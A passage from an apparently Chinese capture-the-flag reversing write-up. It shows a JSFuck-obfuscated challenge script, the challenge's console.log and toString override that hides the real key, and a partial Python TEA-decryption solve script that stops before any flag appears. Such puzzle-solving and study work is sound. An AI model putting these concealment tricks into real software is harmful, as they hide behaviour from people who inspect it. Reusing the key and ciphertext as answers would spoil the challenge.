!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在index里，整个流程是在div的包含里面，div可能是个混淆&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-068.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们随便输入111，出现wrong flag，在日志里出现&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-069.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点进看到，对key进行了替换，真实的key是K0meji_K0ishi，而不是Komeji Satori&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;___Key = &apos;K0meji_K0ishi&apos;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;___Key.toString = function() {
  return &apos;Komeji Satori&apos;;
}
  ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;var Ori = console.log;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;console.log = function(...args) {
  for (var i = 0; i &amp;lt; args.length; i++) {
    if (args[i] == ___Key) {
      args[i] = &apos;Komeji Satori&apos;;
    }
  }
  Ori(...args);
}
  ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ans=[68,241,170,187,35,199,71,125,74,176,71,216,56,85,160,159,67,234,185,29,104,120,245,18]
key=&apos;K0meji_K0ishi&apos;
kb=key.encode(&apos;utf-8&apos;)
kb16=bytearray(16)
for i in range(16):
    kb16[i]=kb[i%len(kb)]
k=[((kb16[i*4]&amp;lt;&amp;lt;24)|(kb16[i*4+1]&amp;lt;&amp;lt;16)|(kb16[i*4+2]&amp;lt;&amp;lt;8)|kb16[i*4+3])&amp;amp;0xffffffff for i in range(4)]
DELTA=0x9e3779b9

def tea_dec(v0,v1,k):
    s=(DELTA*32)&amp;amp;0xffffffff
    for _ in range(32):
        v1=(v1-((((((v0&amp;lt;&amp;lt;4)&amp;amp;0xffffffff)+k[2])^((v0+s)&amp;amp;0xffffffff)^(((v0&amp;gt;&amp;gt;5)+k[3])&amp;amp;0xffffffff)))) )&amp;amp;0xffffffff
        v0=(v0-((((((v1&amp;lt;&amp;lt;4)&amp;amp;0xffffffff)+k[0])^((v1+s)&amp;amp;0xffffffff)^(((v1&amp;gt;&amp;gt;5)+k[1])&amp;amp;0xffffffff)))) )&amp;amp;0xffffffff
        s=(s-DELTA)&amp;amp;0xffffffff
    return v0&amp;amp;0xffffffff,v1&amp;amp;0xffffffff

def decode(inp):
    L=((len(inp)+7)//8)*8
    b=bytearray(L)
    b[:len(inp)]=inp
    for i in range(0,L,8):
        v0=((b[i]&amp;lt;&amp;lt;24)|(b[i+1]&amp;lt;&amp;lt;16)|(b[i+2]&amp;lt;&amp;lt;8)|b[i+3])&amp;amp;0xffffffff
        v1=((b[i+4]&amp;lt;&amp;lt;24)|(b[i+5]&amp;lt;&amp;lt;16)|(b[i+6]&amp;lt;&amp;lt;8)|b[i+7])&amp;amp;0xffffffff
        v0,v1=tea_dec(v0,v1,k)
        b[i]=(v0&amp;gt;&amp;gt;24)&amp;amp;0xff; b[i+1]=(v0&amp;gt;&amp;gt;16)&amp;amp;0xff; b[i+2]=(v0&amp;gt;&amp;gt;8)&amp;amp;0xff; b[i+3]=v0&amp;amp;0xff
        b[i+4]=(v1&amp;gt;&amp;gt;24)&amp;amp;0xff; b[i+5]=(v1&amp;gt;&amp;gt;16)&amp;amp;0xff; b[i+6]=(v1&amp;gt;&amp;gt;8)&amp;amp;0xff; b[i+7]=v1&amp;amp;0xff
    return bytes(b)

kc=[ord(c) for c in key]
enc=bytearray(len(ans))
for i,x in enumerate(ans):
    enc[i]=x^kc[i%len(kc)]
pre=bytearray(decode(enc))
